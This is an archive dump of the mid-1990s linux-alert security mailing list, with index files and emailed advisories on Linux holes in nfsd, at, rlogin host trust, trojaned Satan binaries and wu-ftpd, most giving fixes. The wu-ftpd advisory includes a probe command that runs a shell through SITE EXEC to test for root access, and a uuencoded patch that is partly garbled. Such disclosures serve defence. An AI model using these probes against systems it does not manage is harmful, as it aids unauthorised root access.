linux-alert/ 42775 1767 1767 0 6232715330 12273 5ustar majdommajdomlinux-alert/CONTENTS100664 1767 1767 4770 6246256233 13565 0ustar majdommajdom
linux-alert.9604:
[linux-alert] Technical problems...please do not adjust your T.V.
linux-alert.9601:
filter (elm package) security hole
Filter Exploit
rxvt security hole
restorefont security hole
CORRECTED(!) Linux Security FAQ Update#10: fvwm vulnerability
LSF Update#10: Another correction.
Linux: dip security hole
dump RedHat security hole
Re: Linux: dip security hole
Red Hat mh inc/msgchk security hole
XFree86 3.1.2 Security Problems
bind() Security Problems
linux-alert.9602:
LSF Update#11: Vulnerability of rxvt
Problem with minicom 1.71
abuse Red Hat 2.1 security hole
resizecons Red Hat 2.1 security hole
[linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
[linux-alert] SECURITY FIX: New kbd RPM available on ftp.redhat.com
linux-alert.9603:
[linux-alert] CERT Advisory CA-96.05 - Java
[linux-alert] NCSA httpd cgi-bin application vulnerability.
[linux-alert] Problem with sliplogin on Linux
[linux-alert] CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier [Forwarded e-mail from CERT]
CERT Advisory CA-96.07 - Weaknesses in Java Bytecode Verifier
linux-alert.9605:
[linux-alert] Yet Another Java Hole.
Another way to run native code from Java applets
[linux-alert] Administrative note regarding subscriptions.
[linux-alert] Serious Security hole in getpwnam ()
Serious Security hole in getpwnam ()
linux-alert.9606:
[linux-alert] CERT Advisory CA-96.12 - Vulnerability in suidperl
linux-alert.9607:
[linux-alert] CERT Advisory CA-96.13.dip_vul (dip vulnerability).
[linux-alert] Linux NetKit-B update.
[linux-alert] LSF Update#11: Vulnerability of rlogin
linux-alert.9608:
[linux-alert] Vulnerability in ALL linux distributions
[linux-alert] SECURITY ALERT/FIX: mount on Red Hat Linux
[linux-alert] SECURITY FIX/UPDATE: anonftp
[linux-alert] SECURITY FIX/UPDATE: anonftp
[linux-alert] Security vulnerability in 'bash'
[linux-alert] Re: [linux-security] RESOLV_HOST_CONF
[linux-alert] LSF Update#13: Vulnerability of mount/umount utilities from util-linux 2.5
linux-alert.9609:
[linux-alert] CIAC Bulletin G-42:Vulnerability in WorkMan Program
[linux-alert] CERT Advisory CA-96.20 - Sendmail Vulnerabilities
[linux-alert] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks
linux-alert.9610:
[linux-alert] CERT Advisory CA-96.22 - Vulnerabilities in bash
[linux-alert] URGENT: Bug in linux networking stack
linux-alert/TOPICS100664 1767 1767 4604 6246256233 13325 0ustar majdommajdom[linux-alert] Administrative note reg... linux-alert.9605
[linux-alert] CERT Advisory CA-96.05 ... linux-alert.9603
[linux-alert] CERT Advisory CA-96.07 ... linux-alert.9603
[linux-alert] CERT Advisory CA-96.12 ... linux-alert.9606
[linux-alert] CERT Advisory CA-96.13.... linux-alert.9607
[linux-alert] CERT Advisory CA-96.20 ... linux-alert.9609
[linux-alert] CERT Advisory CA-96.21 ... linux-alert.9609
[linux-alert] CERT Advisory CA-96.22 ... linux-alert.9610
[linux-alert] CIAC Bulletin G-42:Vuln... linux-alert.9609
[linux-alert] Linux NetKit-B update. linux-alert.9607
[linux-alert] LSF Update#11: Vulnerab... linux-alert.9607
[linux-alert] LSF Update#13: Vulnerab... linux-alert.9608
[linux-alert] NCSA httpd cgi-bin appl... linux-alert.9603
[linux-alert] Problem with sliplogin ... linux-alert.9603
[linux-alert] Re: [linux-security] RE... linux-alert.9608
[linux-alert] SECURITY ALERT/FIX: mou... linux-alert.9608
[linux-alert] SECURITY FIX/UPDATE: an... linux-alert.9608
[linux-alert] SECURITY FIX: New kbd R... linux-alert.9602
[linux-alert] Security vulnerability ... linux-alert.9608
[linux-alert] Serious Security hole i... linux-alert.9605
[linux-alert] Technical problems...pl... linux-alert.9604
[linux-alert] URGENT: Bug in linux ne... linux-alert.9610
[linux-alert] Vulnerability in ALL li... linux-alert.9608
[linux-alert] Yet Another Java Hole. linux-alert.9605
abuse Red Hat 2.1 security hole linux-alert.9602
Another way to run native code from J... linux-alert.9605
bind() Security Problems linux-alert.9601
CERT Advisory CA-96.07 - Weaknesses i... linux-alert.9603
CORRECTED(!) Linux Security FAQ Updat... linux-alert.9601
dump RedHat security hole linux-alert.9601
filter (elm package) security hole linux-alert.9601
Filter Exploit linux-alert.9601
Linux: dip security hole linux-alert.9601
LSF Update#10: Another correction. linux-alert.9601
LSF Update#11: Vulnerability of rxvt linux-alert.9602
Problem with minicom 1.71 linux-alert.9602
Red Hat mh inc/msgchk security hole linux-alert.9601
resizecons Red Hat 2.1 security hole linux-alert.9602
restorefont security hole linux-alert.9601
rxvt security hole linux-alert.9601
Serious Security hole in getpwnam () linux-alert.9605
XFree86 3.1.2 Security Problems linux-alert.9601
linux-alert/linux-alert.9604100664 1767 1767 3442 6130323217 15155 0ustar majdommajdomFrom [email protected] Tue Apr 2 17:13:32 1996
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id RAA01428; Tue, 2 Apr 1996 17:13:32 -0500
Date: Tue, 2 Apr 1996 17:11:52 -0500
Message-Id: <[email protected]>
From: Jeff Uphoff
To: [email protected], [email protected]
Subject: [linux-alert] Technical problems...please do not adjust your T.V.
X-Spook: arrangements plutonium Randal Schwartz
X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Due to a couple of sendmail upgrades gone awry here I'm having to
re-send some (four) messages to the linux-security list; they got
partially cooked when rogue daemons breathed fire on them.
If you get multiple copies of some of these messages (hopefully not more
than two), don't worry...the problem is known to be in the transmitter
and our best technicians are [OK, OK...our only technician is] working
on it.
Also due to these sendmail problems: some list members may not have
received one or more linux-security and/or linux-alert messages that
were posted last week (e.g. the CERT advisory "CA-96.07 - Weaknesses in
Java Bytecode Verifier"). If you think that you might have missed
(i.e. not received) a message or two, please check the list archive at:
ftp://linux.nrao.edu/pub/linux/security/list-archive.
Sorry for the inconvenience!
--Up.
--
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | [email protected]
PGP key available at: http://www.cv.nrao.edu/~juphoff/
linux-alert/1995/ 42775 1767 1767 0 6226665424 12715 5ustar majdommajdomlinux-alert/1995/linux-alert.9503100664 1767 1767 17410 5730624575 15622 0ustar majdommajdomFrom [email protected] Sat Mar 4 13:23:09 1995
Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA03227; Sat, 4 Mar 1995 13:18:45 -0500
Received: from cave.et.tudelft.nl (cuve.et.tudelft.nl [130.161.127.241]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id LAA02185; Sat, 4 Mar 1995 11:18:51 -0500
Received: by cave.et.tudelft.nl (8.6.9/1.34JP)
id RAA00465; Sat, 4 Mar 1995 17:18:36 +0100
Message-Id: <[email protected]>
Subject: NFS deamon can be killed by normal users.
To: [email protected]
Date: Sat, 4 Mar 1995 17:18:35 +0100 (MET)
From: [email protected]
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 592
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Hi everyone,
I just subscribed, and now I have a place where I can leave this:
The nfs deamons can be killed by any user. This is because the
nfs deamon takes on the userid of the current request. It then
remains at this userID untill the next request.
The first fix would be to change back to uid root after serving
a request, but this would only reduce the time-span where an attack
might succeed. A true solution would allow the nfsd process to
indicate to the kernel that although it has the euid of a user, it
doesn't want to be considered "owned" by that user.
Roger Wolff.
From [email protected] Mon Mar 6 12:04:43 1995
Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA22038; Mon, 6 Mar 1995 11:59:34 -0500
Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA16902; Mon, 6 Mar 1995 04:10:05 -0500
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0rlYo8-0005B1C; Mon, 6 Mar 95 10:10 MET
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0rlZAj-000KjRC; Mon, 6 Mar 95 10:33 MET
Message-Id:
From: [email protected] (Olaf Kirch)
Subject: Bogus post to Linux Alert
To: [email protected]
Date: Mon, 6 Mar 1995 10:33:48 +0100 (MET)
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Length: 640
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Hello everyone,
Yesterday, I sent someone's report about a hole in the Linux NFS daemon
out to this list.
The facts are:
* This hole has existed for some time
* It has been fixed a long time ago
When I approved this mail, I thought it was for the discussion list.
I can only say to my defense that I have been handling exactly 1362
pieces of list-related mail over the weekend, so the mind gets a little
mushroomy. Still, this should not have happened.
Apologies to everyone
Olaf
--
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
From [email protected] Sun Mar 12 12:03:51 1995
Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id LAA22232; Sun, 12 Mar 1995 11:54:22 -0500
Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id LAA22120; Sun, 12 Mar 1995 11:36:43 -0500
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0rnqdg-0005AmC; Sun, 12 Mar 95 17:37 MET
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0rnr3o-000KjCC; Sun, 12 Mar 95 18:04 MET
Message-Id:
From: [email protected] (Olaf Kirch)
Subject: NFS Vulnerability
To: [email protected]
Date: Sun, 12 Mar 1995 18:04:07 +0100 (MET)
Cc: [email protected]
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Length: 3819
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
ALERT - Announcement of the Linux Emergency Response Team :)
The current Linux NFS server (version 2.0) has a couple of security problems
some of which have been known for a while and supposedly been fixed a long
time ago. However, none of the versions I found on the usual FTP sites had
these fixes incorporated.
On top of that, I discovered a few days ago that you can easily trick it by
guessing NFS file handles. This particularly nasty hole allows anyone
to mount your entire file system and view all files (kiss your shadow
protected passwords goodbye :->). I have written a sample program that
demonstrates this hole and will release it at a later date.
Release 2.1 of the Universal NFS server fixes these security holes.
It does the following things:
* Authenticate NFS file handles on every request. Support
for it was there, but didn't work in all cases.
Authentication code is not yet optimized. Especially
for sites that have wildcard names in their /etc/exports,
this may cause performance problems. I'll be working
on a revamped authentication code that does this faster.
* Use setfsuid/setfsgid for setting owner/group on file
access rather than seteuid. With the old seteuid method,
any user on the system could kill the server.
The setfsuid/setfsgid functions were not implemented
in libc-4.6.27, so I added a small assembler file
that implements them. libc-4.6.29 seems to have them,
though.
There seem to have been patches that fixed this particular
bug before, but they never seem to have made it to any
FTP server.
* Implement root_squash and no_root_squash mount options.
There was a fix for this posted to Usenet recently
which implemented the root_squash option. Release 2.1
obsoletes this patch.
The complete source is available as nfs-server-2.1.tar.gz from
linux.nrao.edu in /pub/people/okir/nfsd. It should compile out of
the box, and reportedly works with gcc-ELF, too.
In the same directory, you will find a binary release of portmap-3,
written by Wietse Venema. I highly recommend you use it, because
older versions of portmap have a couple of problems that can result in
users on your system gaining root access and/or foreign machines mounting
directories from your system via NFS.
Attached to the end of this message, you find the MD5 and PGP signatures
for both files. The PGP signature can be verified with my public key (you
can obtain the key by fingering [email protected]). To verify the PGP
signatures, save each of them to a separate file and pipe them into pgp.
Regards,
Olaf
--------------------- linux-security BLURB -------------------------
To find out about the linux-security and linux-alert mailing lists, send
mail to [email protected] with the following commands in the message
body:
help
lists
end
The mailing lists are also archived at linux.nrao.edu; majordomo's help
text should tell you how to retrieve them.
----------------------- MD5 signatures -----------------------------
60a6a6983b52e9cd469cbf93dc285bc6 nfs-server-2.1.tar.gz
2201659365250c78766c9b123a598699 portmap-3.tar.gz
---------------------- PGP signature for nfsd ----------------------
-----BEGIN PGP MESSAGE-----
Version: 2.6
iQCVAgUAL2JZbeFnVHXv40etAQGsPwQAoHNjpnRuqQfbFS61RM4K6SpLH5dp71+M
3mEKt/lrv9qZwz+3uQmmLmE4l2Ycg+nOnXTBCDRZPxiwwKYhQO3MPrTNslkhHNi8
FpKAWl1x5yuj4oULW+JnJe15tT9kyk0teoX1bxO4eIxB18jOyxrTHfJ3is/2xmJp
JOfwWWk+9Kk=
=iL95
-----END PGP MESSAGE-----
-------------------- PGP signature for portmap ---------------------
-----BEGIN PGP MESSAGE-----
Version: 2.6
iQCVAgUAL2MUvuFnVHXv40etAQHhuwP/SSbfIK3AFMUulqibxC6WH24qzpEMYQMs
H2KTDQONkZCrfIctyTnjMHA/V81qKki3LodrlVafs3v/M5PV4J5pvCnrmAZDbU6m
7z2o+SjFGFS1T3/UIj9uAPyJ5W5TPjzNnkTBj8SgyyL7pCpiKG5CsYEEWK0MiMyA
P2bqC07ZfAw=
=Wb6T
-----END PGP MESSAGE-----
linux-alert/1995/linux-alert.9504100664 1767 1767 31571 5741543015 15616 0ustar majdommajdomFrom [email protected] Mon Apr 3 18:48:26 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA11708; Mon, 3 Apr 1995 18:30:22 -0400
Received: from nz11.rz.uni-karlsruhe.de (nz11.rz.uni-karlsruhe.de [129.13.64.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id RAA11534; Mon, 3 Apr 1995 17:52:37 -0400
Received: from mvmampc66.ciw.uni-karlsruhe.de by nz11.rz.uni-karlsruhe.de
with SMTP (PP); Mon, 3 Apr 1995 22:59:10 +0200
Received: (from ig25@localhost) by mvmampc66.ciw.uni-karlsruhe.de (8.6.9/8.6.9)
id WAA02520; Mon, 3 Apr 1995 22:59:00 +0200
Message-Id: <[email protected]>
Subject: security hole in old versions of at for Linux
To: [email protected] (linux-alert)
Date: Mon, 3 Apr 1995 22:59:00 +0200 (MET DST)
From: [email protected] (Thomas Koenig)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
I've just been informed that earlier versions of my at/atrun package
for Linux had a bug which allowed root access for any authorized user
of the system.
This bug can only be exploited if the user can edit a job he's
submitted to the atrun queue.
If 'at -V' shows a version earlier than 2.7, or if the directory
/var/spool/atjobs (or, possibly, /usr/spool/atjobs) is world - executable,
you are vulnerable.
In that case, upgrade your system to at 2.7 or 2.7a immediately.
In the meantime, changing the permissions of /var/spool/atjobs to 700
will prevent unauthorized root access; this may also render the
'at' system unusable.
Non - vulnerable versions of at have been around for about 10
months, and have been included in the standard distributions.
--
Thomas Koenig, [email protected], [email protected].
The joy of engineering is to find a straight line on a double
logarithmic diagram.
From [email protected] Fri Apr 7 20:20:54 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id TAA23807; Fri, 7 Apr 1995 19:56:12 -0400
Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA22324; Fri, 7 Apr 1995 11:54:21 -0400
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0rxGMa-0005AwC; Fri, 7 Apr 95 17:54 MET DST
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0rxGXX-000KjRC; Fri, 7 Apr 95 18:05 MET DST
Message-Id:
From: [email protected] (Olaf Kirch)
Subject: Hash signs in hosts.equiv
To: [email protected]
Date: Fri, 7 Apr 1995 18:05:43 +0200 (MET DST)
Cc: [email protected]
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Length: 1959
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Hello,
As has been reported, the ruserok() function in libc (up to at least
version 4.6.27, didn't check the latest ones) does not take care of
hash signs in hosts.equiv and .rhosts. If someone injects a bogus PTR
record into their DNS, this could be dangerous for some extremely old
Linux systems. Most machines I've seen however run a version of rlogin
that does a spoof check on the host name obtained from gethostbyaddr.
At the least, version 5.53 of rlogind is immune against this type of
attack. You can check which version you have by running the strings command
on the binary. As I don't have the source for rshd handy at the moment,
I can't tell which versions of rshd are vulnerable and which aren't.
If you are not sure if your rlogind/rshd binary is vulnerable, you
have the following options:
* Put the line
nospoof on
in your /etc/host.conf file. This rejects all hosts who have
no or broken reverse mapping records in their DNS.
* If you don't want to block all services for hosts with broken
reverse mapping, get a newer version of tcpd (tcp_wrapper-6.3 or
later) and add a line like this to /etc/hosts.deny:
ALL except ftpd: UNKNOWN
This rejects all hosts with missing or bad PTR entries for all
services except FTP. Of course, you also have to make sure
inetd actually invokes tcpd for this service. The appropriate
entry in /etc/inetd.conf looks like this:
login stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.rlogind
Regards,
Olaf
- --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
-----BEGIN PGP SIGNATURE-----
Version: 2.6
iQCVAgUBL4ViqeFnVHXv40etAQGbcQP+OTewrPRUBpX374nMlLzk0h+Pc6zCpc9t
NhEjvo1uQ23q0orCBszIVc88yIBXGGIOwuvik+zYXcZl5N/cA+OhdrDokaQsR4lV
xOWPCINis9LApZCxbZi5YswrdCH1Lzn2xSid3XEOa9qbrJKDuu4PlGQfSS1LQHQ0
Qk2w9L/5qSw=
=wZGH
-----END PGP SIGNATURE-----
From [email protected] Sat Apr 8 11:45:46 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id LAA26815; Sat, 8 Apr 1995 11:38:50 -0400
Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA26744; Sat, 8 Apr 1995 11:18:19 -0400
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0rxcHT-0005AzC; Sat, 8 Apr 95 17:18 MET DST
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0rxcum-000KjuC; Sat, 8 Apr 95 17:59 MET DST
Received: from brewhq.swb.de by monad.swb.de with uucp
(smail3.1.29.0 #5) id m0rxcFi-000KjwC; Sat, 8 Apr 95 17:16 MET DST
Received: from panix3.panix.com by brewhq.swb.de with smtp
(Linux Smail3.1.29.0 #5) id m0rxam2-0005B3C; Sat, 8 Apr 95 15:42 MET DST
Received: (from stimpson@localhost) by panix3.panix.com (8.6.12/8.6.10+PanixU1.0) id JAA08873; Sat, 8 Apr 1995 09:41:03 -0400
Date: Sat, 8 Apr 1995 09:41:03 -0400 (EDT)
From: "S. Joel Katz"
To: [email protected]
Subject: Trojan in Linux Satan Binaries
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Status: RO
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
[mod: I could not verify these claims in any way; nor could I verify
if this mail is really from Joel Katz because the message
was not PGP-signed. Therefore, I'm not signing this post to
linux-alert either. You should take this warning serious
nevertheless. --okir]
----------------------------------------------------------------------------
SECURITY ALERT -- Trojan in Linux Satan Binaries
----------------------------------------------------------------------------
It appears that someone with physical access to my computer inserted
a Trojan into my release of the Linux Satan binaries. This definitely
affects the versions downloaded from ftp.epinet.com and may affect those
from other sites. At least 400 sites have ftp'd the trojan.
This Trojan has not been exploited and will not be used.
Briefly, if you downloaded Linux Satan Binaries from anywhere, to be
safe, create a user named "suser" in your /etc/passwd file, set his password
to "*" and his user number to 9955. This will disable the Trojan completely
and Satan can still be used.
You can obtain the latest info by fingering
"[email protected]". Mail regarding the trojan should be sent to the
same address.
Someone I know wanted to make some bizarre point about tools like
Satan being useless in the hands of the technically unskilled. He obtained
physical access to my machine when I was not in my lab and obtained my
password from a log. (Stupid me, when I was having PPP problems, I told chat
to log everything -- including my password!) Unfortunately, my PPP password
is my Panix password (by their design).
This person has no intentions of using the Trojan and only wanted to
make a statement, not compromise people's security. When I checked for other
tampered files by comparing my system to my last backup, I noticed a copy of
the source of the trojan sitting in a directory that contains newbie help
for Usenet. It is clear that only the author of the Trojan can exploit it.
He is quite remorseful about what he has done.
I will release more details including the source shortly. Right now,
I want to give people a chance to secure their systems. If you have an
"suser" line in your /etc/passwd file, you have been attacked. Change
"suser"'s password to "*".
If you don't have such a line, add one just to be safe -- the Trojan
shuts down if "suser" already exists. Make it user number 9955, and set its
password to "*".
This problem does not affect any of the source releases. My sincere
apologies to those whose system's security may have been compromised.
Sincerely,
Joel Katz
(Address replies to [email protected])
From [email protected] Sat Apr 8 13:21:10 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA27086; Sat, 8 Apr 1995 13:16:28 -0400
Received: from concrete.resnet.upenn.edu (CONCRETE.RESNET.UPENN.EDU [130.91.120.107]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id MAA26926; Sat, 8 Apr 1995 12:05:32 -0400
Received: (from casret@localhost) by concrete.resnet.upenn.edu (8.6.10/8.6.9) id LAA09847 for [email protected]; Sat, 8 Apr 1995 11:11:12 -0400
Date: Sat, 8 Apr 1995 11:11:12 -0400
From: "Giao H. Phan"
Message-Id: <[email protected]>
To: [email protected]
Subject: (fwd) Trojan in Linux Satan Binaries!
Newsgroups: alt.security,comp.security.unix
Organization: Segmentation fault(core dumped)
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
Path: netnews.upenn.edu!news.amherst.edu!news.mtholyoke.edu!uhog.mit.edu!news.mathworks.com!panix!not-for-mail
From: [email protected] (S. Joel Katz)
Newsgroups: alt.security,comp.security.unix
Subject: Trojan in Linux Satan Binaries!
Date: 8 Apr 1995 09:46:26 -0400
Organization: PANIX Public Access Internet and Unix, NYC
Lines: 55
Message-ID: <[email protected]>
NNTP-Posting-Host: panix3.panix.com
Summary: There is a Trojan in some releases of the Linux Satan Binaries!
Keywords: Satan Trojan Security
Xref: netnews.upenn.edu alt.security:23744 comp.security.unix:15029
SECURITY ALERT -- Trojan in Linux Satan Binaries
----------------------------------------------------------------------------
It appears that someone with physical access to my computer inserted
a Trojan into my release of the Linux Satan binaries. This definitely
affects the versions downloaded from ftp.epinet.com and may affect those
from other sites. At least 400 sites have ftp'd the trojan.
This Trojan has not been exploited and will not be used.
Briefly, if you downloaded Linux Satan Binaries from anywhere, to be
safe, create a user named "suser" in your /etc/passwd file, set his password
to "*" and his user number to 9955. This will disable the Trojan completely
and Satan can still be used.
You can obtain the latest info by fingering
"[email protected]". Mail regarding the trojan should be sent to the
same address.
Someone I know wanted to make some bizarre point about tools like
Satan being useless in the hands of the technically unskilled. He obtained
physical access to my machine when I was not in my lab and obtained my
password from a log. (Stupid me, when I was having PPP problems, I told chat
to log everything -- including my password!) Unfortunately, my PPP password
is my Panix password (by their design).
This person has no intentions of using the Trojan and only wanted to
make a statement, not compromise people's security. When I checked for other
tampered files by comparing my system to my last backup, I noticed a copy of
the source of the trojan sitting in a directory that contains newbie help
for Usenet. It is clear that only the author of the Trojan can exploit it.
He is quite remorseful about what he has done.
I will release more details including the source shortly. Right now,
I want to give people a chance to secure their systems. If you have an
"suser" line in your /etc/passwd file, you have been attacked. Change
"suser"'s password to "*".
If you don't have such a line, add one just to be safe -- the Trojan
shuts down if "suser" already exists. Make it user number 9955, and set its
password to "*".
This problem does not affect any of the source releases. My sincere
apologies to those whose system's security may have been compromised.
Sincerely,
Joel Katz
(Address replies to [email protected])
--
S. Joel Katz Information on Objectivism, Linux, 8031s, and atheism
[email protected] is available at http://www.panix.com/~stimpson/
--
Casret - Pimp
Segmentation fault (core dumped) (alpha) @ concrete.resnet.upenn.edu 4000
Flames welcome as they can only mean more publicity.
linux-alert/1995/linux-alert.9505100664 1767 1767 17324 5763030175 15621 0ustar majdommajdomFrom [email protected] Wed May 31 04:57:29 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id EAA23708; Wed, 31 May 1995 04:35:50 -0400
Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id AAA19161; Wed, 31 May 1995 00:22:39 -0400
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0sGfI9-0005ApC; Wed, 31 May 95 06:22 MET DST
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0sGby7-000KjMC; Wed, 31 May 95 02:49 MET DST
Message-Id:
Date: Wed, 31 May 95 02:49 MET DST
From: [email protected] (Olaf Kirch)
To: [email protected]
Subject: SECURITY: problem with some wu-ftpd-2.4 binaries
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
Hi all,
There's a security hole in some Linux distributions involving
wu-ftpd-2.4. Some ftpd binaries have been compiled with a set of
defaults that allow anyone with an account on your machine to become the
root user. It appears that at least Slackware-2.0 and 2.2 are affected;
I have no information about other distributions. Anonymous FTP should
not be affected by this as long as you have only the `ls' command in
To find out if your machine is affected, ftp to your own account, log in
and enter this: quote "site exec bash -c id". If ftpd responds with
a line that says something like "uid=0(root) euid=1234(your_login)... ",
then your ftpd is vulnerable.
The obvious fix is to obtain the source of wu-ftpd-2.4 and recompile
it. The crucial part is the _PATH_EXECPATH define in src/pathnames.h.
It should NOT be set to /bin or any other regular directory. By default,
it is set to /bin/ftp-exec. Make sure this directory does not exist or
contains only harmless commands you are absolutely sure you would want
your users to execute as root.
Thomas Lundquist has posted a small patch
for src/ftpcmd.y that goes even further and disables the SITE EXEC
command altogether. It is appended at the end of this message.
All the fame goes to
Michel [email protected]
Thomas Lundquist [email protected]
Aleph One [email protected]
Have a nice day
Olaf
- --
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
For my PGP public key, finger [email protected].
- ------------------------------------------------------------------
table
`!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 644 /tmp/DIFF
M+2TM(&9T<&-M9"YY+F]R:6<)5V5D($UA>2`S,2`P,CHP,SHP-R`Q.3DU"BLKz
M*R!F='!C;60N>0E7960@36%Y(#,Q(#`R.C`S.C4T(#$Y.34*0$`@+3$T,C&5C*&-M9"D*(&-H87(@*F-M9#L*x
M*R`@("`O*B`**R`@("`@*B!4:&4@9&5C;&%R871I;VYS(&)E;&]V(&ET(&MEw
M<'0@=&\@8F4@2!T:&4@;6]R;VX@86YD(&QO9R!H:6TN"BL@("`@("H@5&AO;6%Sp
M+DQU;F1Q=6ES=$!H:6]F+FYO($UA>2`G.34**R`@("`@*B\*("`@("`*+2`@o
M("!I9B`HPHM("`@("`@("!I9B`H:7-U<'!E2@U-3`L(&-M9"D["BT@("`@("`@a
M(&EF("AL;V=?8V]M;6%N9',I"BT@("`@("`@("`@("!S>7-L;V7,O7-L;V2@R,#`L(").o
M;R!F
Message-Id: <[email protected]>
To: [email protected]
Subject: Re: SECURITY: problem with some wu-ftpd-2.4 binaries
X-Quote-I-Like: "The part that frightens the hell out of me is the goverment deciding where technology goes." --Senator Patrick Leahy.
X-Attribution: Up
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
-----BEGIN PGP SIGNED MESSAGE-----
The post from Olaf that I just forwarded on to the linux-alert list
apparently does not checksum with his PGP signature. It is, however, a
valid alert. (I and others have verified the hole.) This PGP signature
implicitly validates Olaf's message as well.
- --Up.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.1
iQCVAwUBL8wu5bxzFUpUTHgFAQEy6AP+ONifLUvB53J5xkkCRVJOQVSJm1p6JRw1
r+RWAGrVxtFxTBvp9w9gfbc1kwZeW9B/R2q3VebQWAx39uMMNSvU3QXOLznssaKT
9zwTrAxt068nMcIrIeQQp50SwnHbwUoKPLRNgD9mMyBg82/x/4HZvrWMCcqc5vEC
lSmI2FbUOfA=
=z6gS
-----END PGP SIGNATURE-----
--
Jeff Uphoff - systems/network admin. | [email protected]
National Radio Astronomy Observatory | [email protected]
Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/
linux-alert/1995/linux-alert.9506100664 1767 1767 4647 5772560057 15615 0ustar majdommajdomFrom [email protected] Fri Jun 23 11:39:19 1995
Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA02604; Fri, 23 Jun 1995 11:01:00 -0400
Received: from brewhq.swb.de ([email protected] [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id AAA01244; Fri, 23 Jun 1995 00:23:04 -0400
Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5)
id m0sP0Gm-0005B7C; Fri, 23 Jun 95 06:23 MET DST
Received: by monad.swb.de (smail3.1.29.0 #5)
id m0sOnsp-000KjkC; Thu, 22 Jun 95 17:09 MET DST
Message-Id:
From: [email protected] (Olaf Kirch)
Subject: SECURITY: problem with yppasswdd
To: [email protected]
Date: Thu, 22 Jun 1995 17:09:30 +0200 (MET DST)
Cc: [email protected]
X-Mailer: ELM [version 2.4 PL23]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Content-Length: 1408
Sender: [email protected]
Precedence: special-delivery
Reply-To: [email protected]
